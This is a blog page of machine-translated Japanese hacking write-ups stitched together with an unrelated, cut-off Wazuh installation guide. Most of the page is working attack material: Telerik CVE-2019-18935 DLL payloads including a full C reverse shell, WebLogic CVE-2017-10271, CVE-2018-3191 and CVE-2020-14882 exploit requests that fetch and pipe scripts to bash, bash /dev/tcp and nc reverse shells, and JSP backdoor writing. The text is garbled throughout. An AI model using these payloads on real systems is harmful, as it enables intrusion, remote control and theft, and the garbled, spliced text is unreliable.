Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112541

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

いくつかの抜け穴が最近掘られました。繰り返されていますが、参照値があります。ここであなたと共有させてください。

抜け穴を繰り返すことはまだ非常に不快です。あなたがそれについて考えるとき、人生は決して満足のいくものではありません。抜け穴を繰り返すことは、失敗を意味するものではありません。最初に来てから来ることが重要であり、外観の順序が重要です。

1.特定のサイトRCEは、ドメイン名:https://***。*** :8089/をテストするために私を連れて行ってくれた司祭に感謝しているスコープ著者の司祭に感謝しない理由を無視します。

CVE-2017-11357 CVE-2019-18935 CVE-2017-9248脆弱性が存在します

脆弱性エクスプロイトダウンロードアドレス:

https://github.com/noperator/cve-2019-18935

https://github.com/noperator/cve-2019-18935.git

遅延11S:SLOIP 11S:

テストコード:テスト

复制代码#windows.hを含めます

#include stdio.h

bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)

{

if(fdwreason==dll_process_attach)

//スリープ(10000); //数百万秒単位の時間間隔。

睡眠(11000);

trueを返します。

}

test.cはAMD642.dllファイル复制代码にコンパイルします

:python CVE -2019-18935.py -v 2017.1.228 -p Payloads \ amd642.dll -u https://**** :8089/telerik.web.ui.webresource.axd?Type=rau

1dvkm1mueqq3407.png

ybnfoe11scq3408.png

最初のステップは正常に確認することです。成功遅延は約11秒、元のリクエストは2秒です

テストコマンド実行:

复制代码#windows.hを含む

#include stdio.h

bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)

{

if(fdwreason==dll_process_attach)

system( 'cmd.exe /c nslookup rsmwe.dnslog.cn');

System( 'cmd.exe /c nslookup 2pstpep28u6vl9qrw0lhjwsr9if83x.burpcollaborator.net');

trueを返します。

} test.c AMD642.dllファイルにコンパイル

复制代码

もう一度実行してDNSLOG:を表示します

ibhvziitl4v3411.png

直接リバウンドシェル、一般exp:

复制代码#winsock2.hを含む

#include stdio.h

#include windows.h

#pragmaコメント(lib、 'ws2_32')

#define host '{vps ip}'

#define port {port}

wsadata wsadata;

ソケットウィンソック;

ソケットソック;

struct sockaddr_in hax;

char aip_addr [16];

startupinfo ini_processo;

process_information processo_info;

//https://github.com/infoskirmish/window-tools/blob/master/simple%20reverse%20shell/shell.cからの適応

void reverseshell()

{

wsastartup(makeword(2、2)、wsadata);

winsock=wsasocket(af_inet、sock_stream、ipproto_tcp、null、0、0);

struct HOSTENT *host=gethostbyname(host);

strcpy(aip_addr、inet_ntoa( *((struct in_addr *)host-h_addr)));

hax.sin_family=af_inet;

hax.sin_port=htons(port);

hax.sin_addr.s_addr=inet_addr(aip_addr);

wsaconnect(winsock、(sockaddr*)hax、sizeof(hax)、null、null、null、null、null);

if(wsagetlasterror()==0){

memset(ini_processo、0、sizeof(ini_processo));

ini_processo.cb=sizeof(ini_processo);

ini_processo.dwflags=startf_usestdhandles;

ini_processo.hstdinput=ini_processo.hstdoutput=ini_processo.hstderror=(handle)winsock;

char *myArray [4]={'cm'、 'd.e'、 'x'、 'e'};

charコマンド[8]='';

snprintf(command、sizeof(command)、 '%s%s%s'、myarray [0]、myarray [1]、myarray [2]、myarray [3]);

createProcess(null、command、null、null、true、0、null、null、ini_processo、processo_info);

}

}

dword winapi mainthread(lpvoid lpparam)

{

Reverseshell();

0を返します。

}

bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)

{

hthreadを処理します。

if(fdwreason==dll_process_attach)

hthread=createThread(0、0、mainthread、0、0、0);

trueを返します。

} 复制代码

許可は低くありません、それはドメインユーザー:です

0ndvsdy02t53414.png

2。SQL注入:背景紹介:友人が注射を送った。この注入は非常に難しいです。 XXクラウドのWAFがあり、バックエンドフィルターのコンマ、奇数と二重引用符、および通常の機能があります。私のアイデアは非常にシンプルで、16進数です。 regexp機能だけで、他のアイデアがあるべきだと思います。

(Case+When+Current_user+regexp+0x*+then+1+else+2*1e308+end)この方法では、データベースユーザーが作成されます。

ここで、声明の場合のケースについてお話したいと思います。声明が私たちが想像したよりもはるかに柔軟である場合。ここでメモを取り、について話します

最も一般的な:

0adbzrsvstf3415.png

異常なことを言って、私は2つのデモを書きます、そして私はそれを続け続けることができます:

2=2の場合、ケース1=1次に1=1 else 1/0 end

pwol4uu2but3416.png

ac2yy4brimx3417.png

3.urlジャンプ +アイデンティティ認証トークンリーク:昨夜それを掘りました、そして、私が無視する理由は複製です。時々、私は一部のメーカーに非常に言葉を失い、脆弱性はそこにあり、彼らは修正されていません。それは私に幻想を与え、抜け穴を見つけ、ハニーポットを踏むという幻想を持っていました。資産範囲は:VC-*。xxx.comです

実際、私は簡単なファズを作ることができ、多くの資産を見つけたので、私はこの範囲に遭遇してとてもうれしいです。

1つずつ開いて視聴し、VC-Ss.xxx.comにアクセスしてサイトにアクセスし、直接ジャンプしてログインを求めます。

私は神ではなく、説明もありません。私はJSを見て、PATH情報へのアクセスが見つかりませんでした。

ファズから始めて、PHPであることがわかっている場合は簡単です。 FFUFを使用してPHP/API辞書を実行し、インターフェイス開発ドキュメント/API /***.htmlに実行します

インターフェイス開発ドキュメントの当初の意図は良好ですが、ほとんどのインターフェイス開発ドキュメントに関するスクリーンショット情報/インターフェイス情報は、二次脆弱性の搾取のリスクがある可能性があります。残念ながらテスト後、スクリーンショット情報はすべてプレーンテキストですが、ほとんどすべてのインターフェイスが401に直接アクセスできることがわかり、ID認証が必要であることがわかりました。私は少し無力でした。私があきらめたかったとき、私はいつも自分自身に読んだ後に慎重に読むように自分自身に言いました。私はインターフェイスドキュメントを見つめ続け、めくっていて、アイデンティティトークンリークやその他のセキュリティの脆弱性を見つけました。

私は抜け穴を提出し、朝:に重複したメッセージを受け取りました

s1lid2541ut3418.png

オリジナルリンク:https://www.cnblogs.com/piaomiaohongchen/p/17130283.html

Weblogic XmldeCoderの脱シリア化の脆弱性(CVE-2017-10271)-----バックライオン

0x01脆弱性の説明

最近、ハッカーはウェブロジック脱派化脆弱性CVE-2017-3248およびWEBLOGIC WLS LS LS LS LSコンポーネントリモートコード実行可能性CVE-2017-10271を使用しました。 Oracleは2017年10月に脆弱性のためのパッチを公式にリリースしましたが、脆弱性の詳細は開示しませんでした。会社が時間内にパッチを設置しない場合、攻撃されるリスクがあります。エンタープライズサーバーで大規模なリモート攻撃が開始され、多数のエンタープライズサーバーに深刻な脅威をもたらしました。影響を受けるバージョン:10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0

0x02攻撃手順

攻撃者が攻撃のためにターゲットホストを選択した後、彼は最初にCVE-2017-3248を攻撃に使用します。成功しているかどうかに関係なく、彼はCVE-2017-10271を使用して攻撃します。各攻撃中に、最初にWindowsシステム、次にLinuxシステムをターゲットにします。特定の攻撃プロセスは次のとおりです。

1. WebLogic Deserializationの脆弱性(CVE-2017-3248)を使用してLinuxでWgetを呼び出してシェルスクリプトをダウンロードし、Linux local "/bin/bash"を呼び出してシェルスクリプトを実行します。 (シェルスクリプトは、リモートダウンロードから時計採掘プログラムの実行のコントロールの詳細を定義します)

2。ウェブロジックの脱派化の脆弱性(CVE-2017-3248)を使用して、サンプルのダウンロードと実行のためにWindowsでPowerShellを呼び出します。

3. WebLogic WLSコンポーネントの脆弱性(CVE-2017-10271)を使用してLinuxでWGETを呼び出してシェルスクリプトをダウンロードし、Linuxローカル「/bin/bash」を呼び出してシェルスクリプトを実行します。

4. WebLogic WLSコンポーネントの脆弱性(CVE-2017-10271)を使用して、サンプルのダウンロードと悪意のあるコード実行のためにWindowsでPowerShellを呼び出します。

5。この攻撃事件では、CVE-2017-3248は失敗しましたが、CVE-2017-10271は正常に利用され、サーバーが攻撃者によってキャプチャされ、システムログに痕跡が残りました。

0x03分析と利用

この脆弱性は、WLS-WSAT.WARに表示されます。このコンポーネントは、Weblogic独自のWebサービスハンドラーを使用して、SOAPリクエストを処理します。まず、weblogic.wsee.jaxws.workcontext.workcontextservertubeクラスでxmlデータを取得し、最後に解析のためにxmldecoderに渡します。解析XMLのコールチェーンはです

weblogic.wsee.jaxws.workcontext.workcontextservertube.processRequest

weblogic.wsee.jaxws.workcontext.workcontexttube.readheaderold

weblogic.wsee.workarea.workcontextxmlinputadapter

最初に参照してください

weblogic.wsee.jaxws.workcontext.workcontextservertube.processRequestメソッド

xa4ql2bcrov9146.jpg

localheader1を取得した後、readheaderoldメソッドに渡します。コンテンツは、Work:WorkContextにラップされたデータであり、フォローアップを継続します。

weblogic.wsee.jaxws.workcontext.workcontexttube.readheaderoldメソッド

0vgqnkd3vjg9147.jpg

この方法では、WorkContextXmlinputadapterクラスがインスタンス化され、取得されたXML形式のシリアル化データがこのタイプの構造方法に渡され、最後にスターリア化がXMldeCoderを介して実行されます。

ijfbwtdrtn39148.jpg

XmldeCoderの脱力化問題は、13年で発見されました。最近、Weblogicで再び使用されています。これは、Javaエコシステムのセキュリティの問題がどれほど悪いかを示しています。 CVE-2017-3506によって提供されるパッチを修正するOracleの公式は、XMLがオブジェクトノードを含むかどうかを確認し、オブジェクトをvoidに置き換えてこのパッチをバイパスするため、この脆弱性には2つのCVE番号があることに言及する価値があります。したがって、修理プロセス中に、ユーザーは10月にOracleの役人が提供するパッチを使用する必要があります。

0x04脆弱性の再発

必要な環境VPSサーバー:ubuntu16.4 IP:x.x.x.x

必要なソフトウェア:burpusit

一般的に、Weblogicはポート7001と7002を開きます。

/wls-wsat /coordinatorporttype11ディレクトリにアクセスすると、次の図は脆弱性がある可能性があることを示しています。

http://11.203.x.x/wls-wsat/coordinatorporttype

z3bp1qh3qt19149.jpg

最初に外部ネットワークサーバーにPython2.7をインストールします

sudo apt-getインストールpython2.7

次に、外部ネットワークVPSサーバーで、VIMを使用してA.Shなどのリバウンドスクリプトを書き込みます(独自のサーバーIPとNCで聴くポートに記入)

bash -i/dev/tcp/vpsip/ncport 01

または

/bin/bash -i/dev/vpsip/ncport 01

wmb1uwu00v59150.jpg

Xshellを使用してサーバーに接続して実行します(PythonサーバーポートとNCポートは、独自の裁量で設定できます)

python -m simplehttpserver pythonportおよびnc -lvp ncport

kzgcztmuvfa9151.jpg

fiz2snijpxa9152.jpg

実行後、PCを使用してテストできます

POST/WLS-WSAT/COORDINATORPORTTYPE HTTP/1.1

host: 11.203.x.x

Accept-Encoding: ID

Content-Length: 695

Accept-Language: ZH-CN、ZH; Q=0.8

Accept: */*

user-agent: mozilla/5.0(Windows NT 5.1; RV:5.0)Gecko/20100101 Firefox/5.0

Accept-charset: GBK、utf-8; q=0.7、*; q=0.3

Connection: Keep-Alive

Cache-Control: Max-age=0

Content-Type:テキスト/XML

soapenv3360envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'

soapenv3360header

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

Javaバージョン='1.8.0_131' class='java.beans.xmldecoder'

void class='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

文字列/bin/bash/string

/空所

void index='1'

文字列-C/文字列

/空所

void index='2'

StringCurl http://x.x.x.x.x:81/a.sh | bash/string

/空所

/配列

void method='start' //void

/java

/work:workcontext

/soapenv3360header

soapenv:body/

/soapenv3360envelope

上記のコードをBurpsuitのリピーターにコピーします。コードのHost: 11.203.x.xは、攻撃するターゲットオブジェクトに変更する必要があり、ターゲットのHSOTとポートもターゲットアドレスとポートに基づいていることに注意してください。

ds2tmhtxlwj9153.jpg

その中で

void index='2'

StringCurl http://x.x.x.x.x:81/a.sh | bash/string

/空所

また、実際に変更する必要があります

次に、リピーターのGOを実行します

サーバーが返されます

HTTP/1.1 500内部サーバーエラー

Connection:閉じます

日付: SAT、2017年12月23日05336016:01 GMT

Content-Type: Text/XML; charset=utf-8

X-Powered-by:サーブレット/2.5 JSP/2.1

Content-Length: 262

?xmlバージョン='1.0' encoding='utf-8'?s:envelope xmlns:s='http://schemas.xmlsoap.org/soap/envelope/' S:BODYS:FAULT XMLNS:NS4='http://WWW.W3.ORG/2003/05/SOAP-ENVELOPE'FAULTCODES:SERVER/FASTRCODEFAULTSTRING0/FAULTSTRING/S:FAULT/S:BODY/S3360ENVELOPE

その後、VPS 0sixo0ipytr9154.jpgにリバウンドシェルが表示されます

シェルを取得したい場合は大丈夫です

サーバー/adminserver/tmp/_wl_internal/bea_wls_internal/9j4dqk/war/directoryに直接CD。これは、システムのデフォルトディレクトリです。次に、POCでJSPスクリプトをWGETしてから、MVコマンドを使用してこのディレクトリに移動できます。最も重要なことは、包丁に接続する場合、接続されたディレクトリではなく、/bea_wls_internal /ディレクトリの下のスクリプトファイルであることです。

PCチェックスクリプトを添付してください:

#Coding:UTF-8

#!/bin/env python2

リクエストをインポートします

Reをインポートします

sysをインポートします

Requests.packages.urllib3.ExceptionsからIntert IntersecureRequestWarningから

#セキュリティリクエストの警告を無効にします

requests.packages.urllib3.disable_warnings(insecureRequestWarning)

#weblogicの脆弱性のアドレスを決定するために、PCがないため、当面はこの住所しか判断できません

check_addr='/wls-wsat/coordinatorporttype11'

shell_addr='/bea_wls_internal/connect.jsp'

heads={'user-agent':' mozilla/5.0(windows nt 6.1)applewebkit/537.36(khtml、yike gecko)chrome/56.0.2924.87 Safari/537.36 '、

'Accept':' text/html、application/xhtml+xml、application/xml; q=0.9、image/webp、*/*; q=0.8 '、

'Accept-Language':' zh-cn、zh; q=0.8 '、

'Soapaction':' '、

'content-type':' text/xml; charset=utf-8 '

}

post_str='' '

soapenv3360envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'

soapenv3360header

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

Java

オブジェクトクラス='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

文字列/bin/sh/文字列

/空所

void index='1'

文字列-C/文字列

/空所

void index='2'

stringfind $ domain_home -type d -name bea_wls_internal |読みながら$ f -Type f -Nameを見つけます

index.html; done | ff ff; do echo vulexist $(dirname $ ff)/connect.jsp; done/string

/空所

/配列

void method='start'/

/物体

/java

/work:workcontext

/soapenv3360header

soapenv:body/

/soapenv3360envelope

'' '

def check(url):

#print( '%d url:%s'%の検出(status_num、url))

vuln_url=url + check_addr

content=requests.get(vuln_url、verify=false、timeout=10)

content.status_code==200:の場合

rsp=requests.post(vuln_url、headers=heads、data=post_str.encode(

'utf-8')、検証=false、タイムアウト=10)

content=rsp.content

re.search(r'java \ .lang \ .processbuilder '、content、re.i):の場合

#印刷'getshell success、shell is:%s'%(url+shell_addr)

string_to_write='おめでとう! weblogicリモートコマンド実行の脆弱性が存在する: \ n ' + url + shell_addr +' \ n '

string_to_writeを印刷します

else:

印刷「失敗」

else:

print(content.status_code)

#脆弱性が存在するかどうかを判断します

#ターゲット=sys.argv [1]

ターゲット='https://x.x.x.com'

print( ''+ターゲットのweblogic vulのチェック)

チェック(ターゲット)

#渡されたターゲットはhttp://www.baidu.com形式(ポートなし)です

0x04脆弱性修復の提案

1。一時的な解決策

攻撃者のPOC分析によると、使用されるコーディネーターポートタイプインターフェイスはWLS-WSATコンポーネントです。このコンポーネントがWeblogicサーバークラスターに適用されていない場合は、このコンポーネントを一時的にバックアップして削除し、保護機能が形成された後に復元することをお勧めします。

実際の環境パスに従って、WebLogic WLS-WSATコンポーネントを削除します。

rm -f /home/weblogic/oracle/middleware/wlserver_10.3/server/lib/wls-wsat.war

rm -f /home/weblogic/oracle/middleware/user_projects/domains/base_domain/servers/adminserver/tmp/.internal/wls-wsat.war

rm -rf/home/weblogic/oracle/middleware/user_projects/domains/base_domain/servers/adminserver/tmp/_wl_internal/wls -wsat

WebLogic Domain Controller Service :を再起動します

domain_name/bin/stopweblogic.sh #stopサービス

domain_name/bin/startmanagedweblogic.sh #Startサービス

上記のファイルを削除した後、WebLogicを再起動する必要があります。 http://weblogic_ip/wls-wsat/が404ページかどうかを確認します。

2。公式パッチ修理

10月に提供されるセキュリティパッチをダウンロードするために、Oracleの公式Webサイトにアクセスしてください

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

アップグレードプロセスについては、次のことを参照してください。

http://blog.csdn.net/qqlifu/article/details/49423839

3。オンライン検査ツール

http://Adlab.venustech.com.cn/vulscan

https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

経験の概要:

Linuxの下のリスニングポートは、複数のIPで回転できます

0x00はじめに

10月17日、北京時間、高リスクのウェブロジックリモートコード実行脆弱性(CVE-2018-3191)が10月のキー補足更新CPU(重要なパッチアップデート)で修正されました。この脆弱性により、未認識の攻撃者は、T3プロトコルネットワークを介して脆弱なWebLogicサーバーにアクセスおよび侵害することができます。エクスプロイトが成功すると、ウェブロジックサーバーが攻撃者に引き継がれ、リモートコードが実行される可能性があります。

0x01脆弱性の再発

ターゲットWeblogciサーバーがT3サービスを開きました。サーバーはLinuxに展開されます。テスト環境は、https://github.com/vulhub/vulhub/tree/master/weblogic/cve-2018-262を使用してDockerの下に展開できます。

nzm3vldez2p8660.jpg

1. JRMPLISTENERホストで次のコマンド:を実行します(パブリックネットワークのホスト、Ubunut System、IPアドレス:149.28。*。85)。

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-snapshot-beta-all.jar

Java -cp ysoserial-0.0.6-Snapshot-beta-all.jar ysoserial.exploit.jrmplistener [リッスンポート] commonscollections1 [command]

のように:

Java -cp ysoserial-0.0.6-Snapshot-beta-all.jar ysoserial.exploit.jrmplistener 1099 commonscollections1 'nc -nv 149.28。*。

//コマンドは現在NCのリバウンドのみに成功していることに注意してください。バッシュリバウンドが逃げられ、ポート1099を聴くローカルが聴き、実行されたコマンドはNCリバウンドコマンドをWeblogicサーバーに送信することです。

mg02ctrtt4b8661.jpg

2。同時に、JRMPLISTENERホストに別のコマンドウィンドウを開き、NCポートを聴きます。コマンドは次のとおりです。

NC -LVVP 5555

rl3b2anbzfm8662.jpg

3.このスクリプトをローカルWindowsシステム攻撃者ホストで実行します。

weblogic-spring-jndi-12.2.1.3.jar for weblogic:

12.2.1.3

weblogic-spring-jndi-10.3.6.0.jar for weblogic:

10.3.6.0

12.2.1.0

12.1.3.0

12.2.1.1

wget https://github.com/pyn3rd/cve-2018-3191/blob/master/weblogic-spring-jndi-10.3.6.0.jar

wget https://github.com/pyn3rd/cve-2018-3191/blob/master/weblogic-spring-jndi-12.2.1.3.jar

wget https://raw.githubusercontent.com/libraggbond/cve-2018-3191/master/exploit.py

python exploit.py [犠牲者IP] [被害者ポート] [ysoserialへのパス] [jrmplistener ip] [jrmplistenerポート] [jrmpclient]

python exploit.py 66.42。 149.28。*。85はjrmplistenerホストであり、ホストのリスニングポートは1099です

aagdqq1qjew8663.jpg

最後に、リバウンドShell:を見ることができます

bgexveveg318664.jpg

0x02脆弱性修正

1。Oracleの職員は、10月のキーパッチアップデートCPU(重要なパッチアップデート)の脆弱性を修正しました。

https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html#appendixfmw

2。T3プロトコルを禁止します

0x03参照リンク

https://MP.WEIXIN.QQ.COM/S/EBKHJPBQCSZAY_VPOCW0SG

https://github.com/libraggbond/cve-2018-3191

0x01脆弱性の説明

最近、Oracle Weblogic Serverリモートコード実行脆弱性(CVE-2020-14882)POCが公開されました。認可されていないリモート攻撃者は、特別なHTTP GETリクエストを構築することにより、影響を受けるWebLogicサーバーで任意のコードを実行するために脆弱性を使用する場合があります。それらはすべて、WebLogicのコンソールコンソールコンポーネントに存在します。このコンポーネントは、WebLogicのバージョン全体のデフォルトコンポーネントであり、HTTPプロトコルを介して脆弱性が悪用されます。 CVE-2020-14882とCVE-2020-14883を組み合わせた後、リモートおよび不正な攻撃者は、サーバー上の任意のコードを直接実行してシステム許可を取得できます。

0x02脆弱性の影響

Oracle Weblogic Server、バージョン10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4、14.1.1.0

0x03脆弱性の再発:

1。環境構成1。この脆弱性の複製は、Vulhub環境を使用します。 Weblocigのバージョンは12.2.1.3.0です。このバージョンには脆弱性があります

https://github.com/vulhub/vulhub/tree/173136b310693d50cac183c6218e64c861e2aaf5/weblogic/cve-2020-14882

2。脆弱性環境構成を再現します

git clone 3https://github.com/vulhub/vulhub.git

1049983-20201110004945372-437894267.png

CD vulhub/

CD weblogic/

1049983-20201110004946048-333161501.pngCURL -S https://9BOOTSTRAP.PYPA.IO/GET-PIP.PY | Python3

1049983-20201110004946480-1915701577.pngService Docker Start

PIPインストールDocker-Compose

1049983-20201110004946900-1654698404.png

docker -compose up -d

1049983-20201110004947407-698220859.png

http://45.77.248.227:7001/コンソールにアクセスして、ウェブロジック環境を展開します

1049983-20201110004948021-1065139459.png 2。バックグラウンドログインをバイパス1。許可の脆弱性をバイパスすると、主要なPOCは次のとおりです。

/console/images/%252e%252e%252fconsole.portal

/CONSOLE/CSS/%25%32%65%25%32%65%25%32%65%25%32%66Console.portal

資本を小文字に変更してパッチをバイパスします。

/console/css/%252e%252e%252fconsole.portal

2.Weblocig12バックグラウンドログインをバイパスします

http://45.77.248.22733607001/Console/Images/%252E%252E%252FConsole.portal

1049983-20201110004948629-2005793861.png

http://45.77.248.227:7001 //Console/CSS/%25%32%65%25%32%65%25%32%66Console.portal

1049983-20201110004949217-211709860.png

http://45.77.248.227:7001/CONSOLE/CSS/%252E%252E%252FConsole.portal(小文字バイパス)

1049983-20201110004949772-419410762.png

3。スクリプト化された利用スクリプトアドレス:https://github.com/backlion/cve-2020-14882_all

1。コマンドエコー

Python3 CVE-2020-14882_all.py -Uhttp://45.77.248.227:7001/-C 'WHOAI'

1049983-20201110004950203-1008568171.pngpython3 CVE-2020-14882_all.py -U3http://45.77.248.22733607001/-C 'LS'

1049983-20201110004950844-424106896.png

2。エコーコマンドなしで外部XMLファイルを実行します

Linuxリバウンドシェルの例として、poc.xmlファイルを編集します

Beans xmlns='http://www.springframework.org/schema/beans' xmlns:xsi='http://www.w3.org/2001/xmlschema-instance' xsi:smemalococeocolaocolation='333338ww.spridffrma http://www.springframework.org/schema/beans/spring-beans.xsd '

bean id='pb' class='java.lang.processbuilder' init-method='start'

コンストラクター-ARG

リスト

値/bin/bash/value

Value-C/値

値![cdata [bash -i /dev/tcp/45.77.248.227/2233 01]]/value

/リスト

/Constructor-ARG

/豆

/豆

注:上記のアドレスはサーバーIPアドレスです

poc.xmlをサーバーにアップロードし、python3でHTTPサーバーWebを有効にします

1049983-20201110004951267-380875771.png 1049983-20201110004951674-178005576.png

スクリプトを介してコマンドを実行します

Python3 CVE -2020-14882_all.py -U http://45.77.248.227:7001/-X http://45.77.248.2273:8000/POC.XML

1049983-20201110004952085-2144418476.png

NCを使用して、サーバー上のポートを聴きます

NC -LLVP 2233

1049983-20201110004952426-13132293.png

4.手動の提出および利用方法1。次のPOCを送信することにより、コマンドをリモートで実行できます。ここでは、上記の背景をバイパスしてから、Burpsuitを介してパケットをつかみ、次のPOCに変更するのが最善です。

get /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangol.coherence.mvel2.sh.shellsession('weblogic.work.executethread=curentthread=(weblogic.work.work.work.curnededed) weblogic.work.workadapter adapter=currentthread.getCurrentWork(); (weblogic.servlet.internal.servletrequestimpl)obj.getclass() string [] {'cmd.exe'、 '/c'、cmd} : new String [] {'/bin/sh'、 '-c'、cmd}; java.lang.processbuilder(cmds).start()。getInputStream()) (weblogic.servlet.internal.servletresponseimpl)req.getclass()。getMethod( 'getResponse')。 currentthread.interput(); ')http/1.1

HOST: 45.77.248.227:7001

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/86.0.4240.183 safari/537.36

Accept: */*

参照: http://45.77.248.227:7001 //Console/Images/%252e%252e%252fconsole.portal?_nfpb=false_pagelabel=handle=c om.tangosol.coherence.mvel2.sh.shellsession(%22java.lang.runtime.getruntime()。exec(%27calc.exe%27);%22);

Accept-Encoding: gzip、deflate

CMD:WHOAMI PWD

Accept-Language: ZH-CN、ZH; Q=0.9

cookie: adminconsolesession=8guolm33tvnpruomy4v8yi8c9bd-glfq8jorw2nth-gjyhz-ggq!1524101341

Connection:閉じます

1049983-20201110004952930-1531266041.png

2。現在のページへのパスは次のとおりです。

/u01/oracle/user_projects/domains/base_domain

3。その後、このディレクトリにバックドアファイルを書き込むことができます。

/u01/oracle/wlserver/server/lib/consoleApp/webApp/画像

1049983-20201110004953417-1756900563.png

4。次のPOCを送信してバックドアに書き込みます

get /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangol.coherence.mvel2.sh.shellsession('weblogic.work.executethread=curentthread=(weblogic.work.work.work.curnededed) weblogic.work.workadapter adapter=currentthread.getCurrentWork(); (weblogic.servlet.internal.servletrequestimpl)obj.getclass() string [] {'cmd.exe'、 '/c'、cmd} : new String [] {'/bin/sh'、 '-c'、cmd}; java.lang.processbuilder(cmds).start()。getInputStream()) (weblogic.servlet.internal.servletresponseimpl)req.getclass()。getMethod( 'getResponse')。 currentthread.interput(); ')http/1.1

HOST: 45.77.248.227:7001

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/86.0.4240.183 safari/537.36

Accept: */*

参照: http://45.77.248.227:7001 //Console/Images/%252e%252e%252fconsole.portal?_nfpb=false_pagelabel=handle=c om.tangosol.coherence.mvel2.sh.shellsession(%22java.lang.runtime.getruntime()。exec(%27calc.exe%27);%22);

Accept-Encoding: gzip、deflate

cmd:whoami pwd echo 'これはテストです!」 /u01/oracle/wlserver/server/lib/consoleapp/webapp/images/test.jsp

Accept-Language: ZH-CN、ZH; Q=0.9

cookie: adminconsolesession=8guolm33tvnpruomy4v8yi8c9bd-glfq8jorw2nth-gjyhz-ggq!1524101341

Connection:閉じます

1049983-20201110004953915-995740218.png

5.バックドアファイルはWeblogic Virtual Directoryに記述されていることがわかります

1049983-20201110004954916-272739668.png

6.次のアドレスにアクセスして、バックドアを取得します

http://45.77.248.227:7001/Console/Images/test.jsp

1049983-20201110004955328-1993509794.png

5。手動使用方法2。1。リバウンドシェルを実行するためにLinuxの下のXMLファイルへのリモートアクセス

まず、XMLファイルを構築し、http://45.77.248.227:8000/poc.xmlなど、Weblogicがアクセスできるサーバーに保存する必要があります。

?xmlバージョン='1.0'

wazuhサーバーのインストール

Wazuhサーバーは、あらゆるタイプのUNIXオペレーティングシステムにインストールできます。最も一般的にLinuxにインストールされています。システムに自動化されたスクリプトを提供できれば、インストールプロセスは簡単ですが、ソースからビルドしてインストールすることも非常に簡単です。

通常、Wazuhサーバーに2つのコンポーネントがインストールされます:マネージャーとAPI。さらに、分散アーキテクチャ(Wazuhサーバーはリモートエラスティックスタッククラスターにデータを送信します)の場合、ファイルビートをインストールする必要があります。

オペレーティングシステムとソースから構築するかどうかに応じて、Wazuhサーバーをインストールするための多くのオプションがあります。以下の表を参照して、インストール方法を選択してください。

タイプ説明RPMパッケージ

centos/rhel/fedoraにWazuhサーバーをインストールします

デブパッケージ

debian/ubuntuにWazuhサーバーをインストールします

知らせ

Wazuh APIは32ビットプラットフォームでは使用できないため、Wazuhサーバーを64ビットオペレーティングシステムにインストールすることを強くお勧めします。 Wazuh APIがなければ、Wazuh Kibanaアプリケーションの機能のほとんどは機能しません。同様に、Wazuh ServerプラットフォームにRed HatまたはCentosを使用している場合は、Wazuh APIを適切にインストールするためにバージョン6以下であることを確認してください。

RPMパッケージを使用してWazuhサーバーをインストールします

CENTOS/RHEL/FEDORAプラットフォームの場合、Wazuh Serverコンポーネントをインストールするには、更新ソースを追加した後に関連するソフトウェアパッケージをインストールする必要があります。

注:以下で使用されるコマンドの多くは、ルートユーザー許可を使用して実行する必要があります。

wazuhリポジトリを追加

Wazuhをセットアップする最初のステップは、Wazuhアップデートソースをシステムに追加することです。 Wazuh-Managerパッケージを直接ダウンロードするか、互換性のあるバージョンを表示する場合は、ここをクリックしてください。

更新ソースを設定するには、次のコマンドを実行します。

#cat /etc/yum.repos.d/wazuh.repo \ eof

[wazuh_repo]

gpgcheck=1

gpgkey=https://packages.wazuh.com/key/gpg-key-wazuh

有効=1

name=wazuhリポジトリ

baseurl=https://packages.wazuh.com/3.x/yum/

保護=1

EOF

Centos-5およびRhel-5の場合:

#cat /etc/yum.repos.d/wazuh.repo \ eof

[wazuh_repo]

gpgcheck=1

gpgkey=http://packages.wazuh.com/key/gpg-key-wazuh-5

有効=1

name=wazuhリポジトリ

baseurl=http://packages.wazuh.com/3.x/yum/5/$ basearch/

保護=1

EOF

Wazuh Managerのインストール

次のステップは、システムにWazuhマネージャーをインストールすることです。

#yumインストールwazuh-manager

このプロセスを完了したら、次のコマンドを使用してサービスステータスを確認できます

A.SystemD:

#SystemCTLステータスWazuh-Manager

B. sysv init:用

#サービスwazuh-managerステータス

wazuh api

のインストール

Wazuh APIを実行するには、nodejs=4.6.1が必要です。 nodejsがインストールされていない場合、またはバージョンが4.6.1未満の場合は、以下に示すように公式のnodejsアップデートソースライブラリを追加することをお勧めします。

#curl - silent - ロケーションhttps://rpm.nodesource.com/setup_8.x |バッシュ -

次に、nodejsをインストールします。

#yumインストールnodejs

2。WazuhAPIを実行するには、python=2.7が必要です。デフォルトでインストールされているか、ほとんどのLinuxディストリビューションの公式ライブラリに含まれています。

システム上のPythonバージョンが2.7未満であるかどうかを判断するには、次のコマンドを実行できます。

#python -version

``/var/ossec/api/configuration/config.js``でAPIのカスタムPythonパスを設定することができます。

config.python=[

//デフォルトのインストール

{

bin: 'python'、

lib3360 ''

}、

//Centos 6のパッケージ「Python27」

{

